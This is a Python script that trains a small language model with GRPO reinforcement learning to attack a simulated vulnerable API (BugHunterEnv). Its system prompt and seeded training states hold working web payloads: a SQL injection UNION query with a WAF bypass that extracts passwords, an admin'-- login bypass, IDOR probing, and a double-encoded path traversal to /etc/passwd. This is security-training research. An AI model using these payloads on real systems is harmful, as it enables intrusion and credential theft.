File size: 18,675 Bytes
26e15b9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
# ================================================================
# BugHunterEnv β€” GRPO Training Script
# Trains a small LLM to find web vulnerabilities via RL
#
# Compatible with Google Colab (T4 GPU, ~15GB VRAM)
#
# Setup (run once in Colab):
#   !pip install -q "unsloth[colab-new]" trl>=0.16 datasets
#   !pip install -q flask werkzeug requests openenv-core
#   !git clone <your-hf-space-repo> && cd BugHuntEnvironment
# ================================================================

import os, sys, json, re, time, threading
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))

import torch
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from datasets import Dataset
from unsloth import FastLanguageModel
from trl import GRPOTrainer, GRPOConfig

from server.bug_hunter_env_environment import BugHunterEnvEnvironment

# ── Hyperparameters ───────────────────────────────────────────
# Gemma 4 variants (pick based on available VRAM):
#   unsloth/gemma-4-4b-it   ~4GB in 4-bit  β†’ T4 (15GB), comfortable
#   unsloth/gemma-4-12b-it  ~8GB in 4-bit  β†’ T4 tight, A100 preferred
#   unsloth/gemma-4-27b-it  ~18GB in 4-bit β†’ A100 40GB+
MODEL_NAME        = "unsloth/gemma-4-4b-it"
MAX_SEQ_LEN       = 768
LORA_RANK         = 16
NUM_GENERATIONS   = 4       # completions per prompt for GRPO
TRAINING_STEPS    = 80      # ~25 min on T4
BATCH_SIZE        = 2       # prompts per gradient step
EVAL_EPISODES     = 3       # episodes per task for before/after eval
OUTPUT_DIR        = "./grpo_bughunter"

# ── System prompt ─────────────────────────────────────────────
SYSTEM_PROMPT = """\
You are a penetration tester auditing a corporate API for security vulnerabilities.
At each step you send exactly ONE HTTP request. Format:
  METHOD PATH [JSON_BODY]

Examples:
  GET /api/users
  GET /api/search?q=' UNION/**/SELECT 1,username,password,role FROM users--
  POST /api/login {"username": "admin'--", "password": "x"}
  GET /api/files?name=..%252fetc%252fpasswd

Rules:
- METHOD is GET or POST
- PATH starts with /
- BODY is JSON only for POST
- No explanation β€” output only the request line\
"""

# ── Seeded training states ────────────────────────────────────
# Each state represents a specific point in an attack chain.
# pre_actions seeds the environment to that point, then the model's
# action is evaluated and rewarded. This gives dense learning signal
# at each decision point rather than only at episode end.
SEEDED_STATES = [
    # ── IDOR ──────────────────────────────────────────────────
    {
        "task": "idor",
        "pre_actions": [],
        "obs": "HTTP 200\nTask: Retrieve admin HR data (SSN + salary).\nEndpoints: GET /api/users  GET /api/users/<id>  POST /api/login",
        "hint": "Start by listing users at /api/users to discover IDs.",
    },
    {
        "task": "idor",
        "pre_actions": [("GET", "/api/users", None)],
        "obs": 'HTTP 200\n[{"id":1,"username":"admin","role":"admin"},{"id":2,"username":"alice","role":"user"},{"id":3,"username":"bob","role":"user"}]',
        "hint": "Users listed. Probe /api/users/<id> without auth to check for IDOR β€” try id=1 (admin).",
    },
    {
        "task": "idor",
        "pre_actions": [("GET", "/api/users", None), ("GET", "/api/users/2", None)],
        "obs": 'HTTP 200\n{"id":2,"username":"alice","ssn":"234-56-7890","salary":75000}',
        "hint": "IDOR confirmed β€” sensitive data returned without auth. Now target the admin (id=1).",
    },
    # ── SQL Injection ──────────────────────────────────────────
    {
        "task": "sqli",
        "pre_actions": [],
        "obs": "HTTP 200\nTask: Extract admin credentials via SQL injection.\nEndpoints: GET /api/search?q=<query>  POST /api/login",
        "hint": "Probe /api/search with a single quote to test for SQL injection errors.",
    },
    {
        "task": "sqli",
        "pre_actions": [("GET", "/api/search?q='", None)],
        "obs": 'HTTP 500\n{"error":"OperationalError: unrecognized token: \\\"\'\\\""}',
        "hint": "SQL error β€” endpoint is injectable. Try UNION extraction. WAF blocks 'UNION SELECT', use UNION/**/SELECT bypass.",
    },
    {
        "task": "sqli",
        "pre_actions": [
            ("GET", "/api/search?q='", None),
            ("GET", "/api/search?q=test UNION SELECT 1,2,3--", None),
        ],
        "obs": 'HTTP 403\n{"error":"Request blocked by security filter"}',
        "hint": "WAF blocks 'UNION SELECT'. Use inline comment bypass: GET /api/search?q=' UNION/**/SELECT/**/1,username,password,role/**/FROM/**/users--",
    },
    {
        "task": "sqli",
        "pre_actions": [
            ("GET", "/api/search?q='", None),
            ("GET", "/api/search?q=test UNION SELECT 1,2,3--", None),
            ("GET", "/api/search?q=' UNION/**/SELECT 1,2,3--", None),
        ],
        "obs": 'HTTP 200\n{"results":[],"count":0}',
        "hint": "WAF bypassed! Column count is 4. Extract user data: GET /api/search?q=' UNION/**/SELECT 1,username,password,role FROM users--",
    },
    # ── Path Traversal ─────────────────────────────────────────
    {
        "task": "path_traversal",
        "pre_actions": [],
        "obs": "HTTP 200\nTask: Read a sensitive server file. /api/files requires admin β€” escalate via SQLi on /api/login first.",
        "hint": "Authenticate first. POST /api/login is vulnerable to SQLi: {\"username\": \"admin'--\", \"password\": \"x\"}",
    },
    {
        "task": "path_traversal",
        "pre_actions": [
            ("POST", "/api/login", '{"username":"alice","password":"alice123"}'),
        ],
        "obs": 'HTTP 200\n{"status":"success","username":"alice","role":"user"}',
        "hint": "Logged in as user. Check /api/files β€” admin access is required. Escalate via SQLi: POST /api/login {\"username\": \"admin'--\", \"password\": \"x\"}",
    },
    {
        "task": "path_traversal",
        "pre_actions": [
            ("POST", "/api/login", '{"username":"alice","password":"alice123"}'),
            ("GET", "/api/files", None),
            ("POST", "/api/login", '{"username":"admin\'--","password":"x"}'),
        ],
        "obs": 'HTTP 200\n{"status":"success","username":"admin","role":"admin"}',
        "hint": "Admin session active. List files at /api/files, then attempt path traversal.",
    },
    {
        "task": "path_traversal",
        "pre_actions": [
            ("POST", "/api/login", '{"username":"alice","password":"alice123"}'),
            ("GET", "/api/files", None),
            ("POST", "/api/login", '{"username":"admin\'--","password":"x"}'),
            ("GET", "/api/files", None),
            ("GET", "/api/files?name=../etc/passwd", None),
        ],
        "obs": 'HTTP 403\n{"error":"Invalid path: directory traversal not allowed"}',
        "hint": "Literal '../' blocked. Flask auto-decodes %2f so single-encoding fails too. Use double-encoding: /api/files?name=..%252fetc%252fpasswd",
    },
]


# ── Helpers ───────────────────────────────────────────────────

class _Action:
    def __init__(self, method, path, body):
        self.method = method
        self.path = path
        self.body = body


def parse_action(text: str):
    for line in text.strip().splitlines():
        line = line.strip()
        if not line:
            continue
        parts = line.split(None, 1)
        if len(parts) < 2:
            continue
        m = parts[0].upper()
        if m not in ("GET", "POST"):
            continue
        rest = parts[1].strip()
        if m == "GET":
            p, b = rest, None
        else:
            sub = rest.split(None, 1)
            p = sub[0]
            b = sub[1] if len(sub) > 1 else None
        if p.startswith("/"):
            return _Action(m, p, b)
    return None


def build_messages(state: dict) -> list:
    user_content = f"{state['obs']}\nHint: {state['hint']}\n\nWhat is your next request?"
    return [
        {"role": "system",    "content": SYSTEM_PROMPT},
        {"role": "user",      "content": user_content},
    ]


# ── Reward function ───────────────────────────────────────────

def compute_reward(state_idx: int, completion: str) -> float:
    state = SEEDED_STATES[state_idx]
    env = BugHunterEnvEnvironment()
    try:
        env.reset(task_id=state["task"])
        for m, p, b in state["pre_actions"]:
            env.step(_Action(m, p, b))
        action = parse_action(completion)
        if action is None:
            return -0.3
        obs = env.step(action)
        return float(obs.reward)
    except Exception:
        return -0.2
    finally:
        env.close()


def reward_fn(completions: list, state_idx=None, **kwargs) -> list:
    if state_idx is None:
        state_idx = [0] * len(completions)
    return [compute_reward(int(idx), c) for idx, c in zip(state_idx, completions)]


# ── Evaluation ────────────────────────────────────────────────

def run_episode(model, tokenizer, task_id: str) -> float:
    max_steps = {"idor": 10, "sqli": 15, "path_traversal": 20}[task_id]
    env = BugHunterEnvEnvironment()
    try:
        obs = env.reset(task_id=task_id)
        history = []

        for step in range(max_steps):
            if obs.done:
                break

            history_block = "\n".join(history[-4:])
            user_content = (
                f"HTTP {obs.status_code}\n{obs.body[:600]}"
                + (f"\nHint: {obs.hint}" if obs.hint else "")
                + (f"\n\nHistory:\n{history_block}" if history_block else "")
                + "\n\nWhat is your next request?"
            )
            messages = [
                {"role": "system", "content": SYSTEM_PROMPT},
                {"role": "user",   "content": user_content},
            ]
            text = tokenizer.apply_chat_template(
                messages, tokenize=False, add_generation_prompt=True
            )
            inputs = tokenizer(text, return_tensors="pt").to("cuda")
            with torch.no_grad():
                out = model.generate(
                    **inputs, max_new_tokens=64,
                    temperature=0.4, do_sample=True,
                    pad_token_id=tokenizer.eos_token_id,
                )
            response = tokenizer.decode(
                out[0][inputs["input_ids"].shape[1]:], skip_special_tokens=True
            )
            action = parse_action(response)
            if action is None:
                break
            obs = env.step(action)
            history.append(f"[{step+1:02d}] {action.method} {action.path} -> {obs.status_code} r={obs.reward:+.3f}")

        return env.get_grade()
    finally:
        env.close()


def evaluate(model, tokenizer, n: int = EVAL_EPISODES) -> dict:
    FastLanguageModel.for_inference(model)
    results = {}
    for task_id in ("idor", "sqli", "path_traversal"):
        grades = [run_episode(model, tokenizer, task_id) for _ in range(n)]
        results[task_id] = round(sum(grades) / len(grades), 3)
        print(f"  {task_id:20s}  grades={grades}  avg={results[task_id]:.3f}")
    FastLanguageModel.for_training(model)
    return results


# ── Main ──────────────────────────────────────────────────────

def main():
    # ── 1. Load model ──────────────────────────────────────────
    print("=" * 60)
    print("BugHunterEnv β€” GRPO Training")
    print("=" * 60)
    print(f"\nLoading {MODEL_NAME} ...")

    model, tokenizer = FastLanguageModel.from_pretrained(
        model_name=MODEL_NAME,
        max_seq_length=MAX_SEQ_LEN,
        load_in_4bit=True,
        dtype=None,
    )
    model = FastLanguageModel.get_peft_model(
        model,
        r=LORA_RANK,
        target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
                        "gate_proj", "up_proj", "down_proj"],
        lora_alpha=LORA_RANK,
        lora_dropout=0,
        bias="none",
        use_gradient_checkpointing="unsloth",
        random_state=42,
    )

    # ── 2. Baseline evaluation ─────────────────────────────────
    print(f"\n[1/4] Baseline evaluation ({EVAL_EPISODES} episodes/task) ...")
    baseline = evaluate(model, tokenizer)
    print(f"Baseline: {baseline}")

    # ── 3. Build dataset ───────────────────────────────────────
    print("\n[2/4] Building training dataset ...")
    dataset = Dataset.from_dict({
        "prompt":    [build_messages(s) for s in SEEDED_STATES],
        "state_idx": list(range(len(SEEDED_STATES))),
    })
    print(f"  {len(dataset)} seeded states across 3 tasks")

    # ── 4. GRPO training ───────────────────────────────────────
    print(f"\n[3/4] GRPO training β€” {TRAINING_STEPS} steps ...")

    config = GRPOConfig(
        output_dir=OUTPUT_DIR,
        num_train_epochs=1,
        max_steps=TRAINING_STEPS,
        per_device_train_batch_size=BATCH_SIZE,
        num_generations=NUM_GENERATIONS,
        max_completion_length=80,
        learning_rate=5e-6,
        warmup_steps=5,
        logging_steps=5,
        save_steps=TRAINING_STEPS,
        temperature=0.9,
        report_to="none",
        remove_unused_columns=False,
    )

    FastLanguageModel.for_training(model)
    trainer = GRPOTrainer(
        model=model,
        reward_funcs=[reward_fn],
        args=config,
        train_dataset=dataset,
        processing_class=tokenizer,
    )
    trainer.train()

    step_rewards = [
        entry["reward"]
        for entry in trainer.state.log_history
        if "reward" in entry
    ]
    print(f"  Collected {len(step_rewards)} reward log entries")

    # ── 5. Post-training evaluation ────────────────────────────
    print(f"\n[4/4] Post-training evaluation ({EVAL_EPISODES} episodes/task) ...")
    final = evaluate(model, tokenizer)
    print(f"Final:    {final}")

    # ── 6. Save model ──────────────────────────────────────────
    model.save_pretrained(os.path.join(OUTPUT_DIR, "lora_weights"))
    tokenizer.save_pretrained(os.path.join(OUTPUT_DIR, "lora_weights"))
    print(f"  Model saved to {OUTPUT_DIR}/lora_weights")

    # ── 7. Plot ────────────────────────────────────────────────
    fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(13, 5))
    fig.suptitle("BugHunterEnv β€” GRPO Training Results", fontsize=14, fontweight="bold")

    if step_rewards:
        window = max(1, len(step_rewards) // 10)
        smoothed = [
            sum(step_rewards[max(0, i - window):i + 1]) / len(step_rewards[max(0, i - window):i + 1])
            for i in range(len(step_rewards))
        ]
        ax1.plot(step_rewards, alpha=0.3, color="steelblue", label="Raw")
        ax1.plot(smoothed, color="steelblue", linewidth=2, label="Smoothed")
        ax1.axhline(0, color="gray", linestyle="--", linewidth=0.8)
        ax1.set_xlabel("Training Step")
        ax1.set_ylabel("Step Reward")
        ax1.set_title("Training Reward Curve")
        ax1.legend()
        ax1.grid(True, alpha=0.3)
    else:
        ax1.text(0.5, 0.5, "No reward logs captured", ha="center", va="center",
                 transform=ax1.transAxes, fontsize=12, color="gray")
        ax1.set_title("Training Reward Curve")

    tasks      = list(baseline.keys())
    task_names = ["IDOR", "SQL Injection", "Path Traversal"]
    x = range(len(tasks))
    bars_before = ax2.bar([i - 0.2 for i in x], [baseline[t] for t in tasks],
                          width=0.38, label="Before Training", color="#e07070")
    bars_after  = ax2.bar([i + 0.2 for i in x], [final[t] for t in tasks],
                          width=0.38, label="After Training",  color="#5b9bd5")
    for bar in bars_before:
        h = bar.get_height()
        ax2.text(bar.get_x() + bar.get_width() / 2, h + 0.02, f"{h:.2f}",
                 ha="center", va="bottom", fontsize=9)
    for bar in bars_after:
        h = bar.get_height()
        ax2.text(bar.get_x() + bar.get_width() / 2, h + 0.02, f"{h:.2f}",
                 ha="center", va="bottom", fontsize=9)
    ax2.set_xticks(list(x))
    ax2.set_xticklabels(task_names)
    ax2.set_ylabel("Task Grade (0 – 1.0)")
    ax2.set_title("Task Performance: Before vs After")
    ax2.set_ylim(0, 1.25)
    ax2.legend()
    ax2.grid(True, alpha=0.3, axis="y")

    plt.tight_layout()
    out_path = os.path.join(OUTPUT_DIR, "training_results.png")
    os.makedirs(OUTPUT_DIR, exist_ok=True)
    plt.savefig(out_path, dpi=150, bbox_inches="tight")
    print(f"\nPlot saved: {out_path}")

    # ── 8. Print summary ───────────────────────────────────────
    print("\n" + "=" * 50)
    print("SUMMARY")
    print("=" * 50)
    print(f"{'Task':<22} {'Before':>8} {'After':>8} {'Delta':>8}")
    print("-" * 50)
    total_delta = 0
    for task, name in zip(tasks, task_names):
        delta = final[task] - baseline[task]
        total_delta += delta
        sign = "+" if delta >= 0 else ""
        print(f"{name:<22} {baseline[task]:>8.3f} {final[task]:>8.3f} {sign}{delta:>7.3f}")
    print("-" * 50)
    avg_delta = total_delta / len(tasks)
    sign = "+" if avg_delta >= 0 else ""
    print(f"{'Average':<22} {sum(baseline.values())/len(tasks):>8.3f} {sum(final.values())/len(tasks):>8.3f} {sign}{avg_delta:>7.3f}")


if __name__ == "__main__":
    main()